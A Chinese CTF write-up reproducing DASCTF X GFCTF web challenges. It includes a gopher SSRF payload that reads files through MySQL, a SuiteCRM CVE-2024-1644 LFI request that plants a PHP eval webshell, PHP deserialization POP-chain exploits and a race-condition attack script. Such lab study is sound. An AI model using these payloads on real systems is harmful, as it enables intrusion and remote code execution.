DASCTF X GFCTF 复现

前言

打这个的时候正好是长城杯复赛,就没打,现在看看。

cool_index

view里面是ejs模板,static里面是使用的路径等信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function requestArticle() {
const articleNum = document.getElementById("articleNum").value;
const statusMessage = document.getElementById("statusMessage");
const articlesDiv = document.getElementById("articles");

fetch("/article", {
method: 'POST',
credentials: "same-origin",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({ index: articleNum }),
})
.then((response) => {
if (!response.ok) {
return response.json().then((err) => {
throw err;
});
}
return response.json();
})
.then((article) => {
if (articlesDiv && statusMessage) {
articlesDiv.innerHTML = `<p>${article.line1}</p><p>${article.line2}</p>`;
statusMessage.textContent = "加载成功";
}
})
.catch((error) => {
if (statusMessage) {
statusMessage.textContent = "加载失败";

articlesDiv.innerHTML = error.message || "未知错误";
}
console.error("Error:", error);
});
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function toggleVoucher() {
const voucherGroup = document.getElementById("voucherGroup");
voucherGroup.style.display = document.getElementById("hasVoucher").checked
? "block"
: "none";
}

document.getElementById("registrationForm").onsubmit = function (event) {
event.preventDefault();
const username = document.getElementById("username").value;
const voucher = document.getElementById("hasVoucher").checked
? document.getElementById("voucher").value
: "";

fetch("/register", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({ username, voucher }),
})
.then((response) => response.json())
.then((data) => {
if (data.message === "邀请码无效") {
document.getElementById("feedback").textContent = data.message;
} else {
document.cookie = `token=${data.token};path=/`;
window.location.href = "/";
}
})
.catch((error) => {
console.error("Error:", error);
});
};

注册普通用户之后可以浏览1-7页,第七页需要会员,这里可能需要我们得到第七页的权限。
当然从server.js也能注意到:
image.png
jwt那个密钥是随机的,所以没法通过jwt实现了。
问题在parseInt这里,这里检测放在了转换的前面。
image.png
parseInt会将参数转为整形,但是如果是NodeJs中的big int,就会造成精度损失。
image.png

parseInt - JavaScript | MDN

因此我们可以得到flag:
image.png

EasySignin

SSRF攻击MySQL

admin账户已存在
随便注册一个test账号进去。
注意到更改密码,尝试能否越权修改admin:
image.png
登录admin之后发现getpicture下可以传参url,想到ssrf
测试下常见的协议:
image.png
file、dict等被ban了,http、gopher还在。
先测试下端口。
image.png
发现3306有开。

SSRF

之前我对ssrf的了解有点太浅了,都是用的工具,所以这里顺便再学习一下。

构造攻击数据包

首先先在一个窗口下用

1
tcpdump -i lo port 3306 -w mysql.pcapng

抓取数据包,然后再在另一个窗口开启MySQL终端,进行查询:

1
select * from flag

拿到流量包之后追踪tcp流。提取为原始数据
1540702297796.png
首先看看能不能直接用loadfile读文件。
然后将其编码即可:

1
2
3
4
5
6
7
8
def result(s):
a=[s[i:i+2] for i in xrange(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_%" + "%".join(a)

if __name__ == '__main__':
import sys
s=sys.argv[1]
print(result(s))

可以使用curl来测试结果(gopher协议)

1
curl gopher://127.0.0.1:3306/xxxxx

这里我直接使用gopherus工具打:

GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

1
python2 gopherus.py --exploit mysql

pyload:select load_file('/flag')
image.png
然后再次只编码特殊字符:

1
gopher%3A%2F%2F127.0.0.1%3A3306%2F_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%251a%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%256c%256f%2561%2564%255f%2566%2569%256c%2565%2528%2527%252f%2566%256c%2561%2567%2527%2529%2501%2500%2500%2500%2501

测试发送即可:
image.png

SuiteCRM

Suite CRM v7.14.2 - RCE via LFI | Advisories | Fluid Attacks

CVE-2024-1644
使用81端口进行访问,80端口的转发有问题。
LFI肯定会想到pearcmd
写马:

1
/index.php//usr/local/lib/php/pearcmd.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php

然后上马:
image.png
如果后面有时间再分析吧。

web1234

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)_dasctf 2024 四月 wp-CSDN博客

www.zip泄露
反序列化
先看看默认信息,这里class.php中的resetconf方法
image.png
image.png
把密码看看:
image.png
看了别人的wp发现可以条件竞争,但似乎buu的平台似乎不支持。

条件竞争

往record.php里面写马:
image.png
这里如果record.php的长度如果不是零,那么就可以往里面写马。
链子:

1
Admin#__Destruct -> Config.showconf() -> Log#__toString

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

class Admin
{
public $Config;
}

class Config
{
public $uname;
public $passwd;
public $avatar;
public $nickname;
public $sex;
public $mail;
public $telnum;
}

class Log
{

public $data;
}

$a = new Admin();
$b = new Config();
$c = new Log();
$a->Config = $b;
$b->show = $c;
$c->data = 'log_start()';
echo serialize($a);

删除最后一个括号绕过__wakeup,编写条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import threading

url1 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/?uname=admin&passwd=1q2w3e'

def upload():
while True:
filename = "Config"
with open('config', "rb") as f:
files = {"avatar": (filename, f.read())}
data = {
"m": "edit",
"nickname": "<?php phpinfo();?>",
"sex": "1",
"mail": "1",
"telnum": "1",

}
response = requests.post(url=url1, files=files,data=data)
print(response.status_code)

url2 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81'
url3 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/record.php'

def read():
while True:
res2 = requests.get(url2)
print(res2.status_code)
res3 = requests.get(url3)
if "php" in res3.text:
print('success')

# 创建多个上传线程
upload_threads = [threading.Thread(target=upload) for _ in range(30)]

# 创建多个读取线程
read_threads = [threading.Thread(target=read) for _ in range(30)]

# 启动上传线程
for t in upload_threads:
t.start()

# 启动读取线程
for t in read_threads:
t.start()

session反序列化

这里提示里面写了session_start但是这源码里也妹有啊。
backdoor执行session_start
image.png
session文件里面存放着用户的序列化文本,触发点不在反序列化而是__sleep函数

1
Config#__sleep -> Config.showconf() -> Log#__toString  

image.png
image.png
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Admin{
public $Config;
}
class Config{
public $uname;
public $passwd;
public $avatar;
public $nickname;
public $sex;
public $mail;
public $telnum;
}
class Log{
public $data;
}
$exp=new Config();
$sink=new Log();
$sink->data="log_start()";
$exp->avatar=$sink;
echo serialize($exp);
// O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}

先生成session:
image.png
session是这个,然后刷新sess,注意这里要用传的session:
image.png
再传马:
image.png
在文件名处写马,删去Cookie,再执行
image.png

后记

我要吐血了,最后这个打半天没打通,复现都得半天。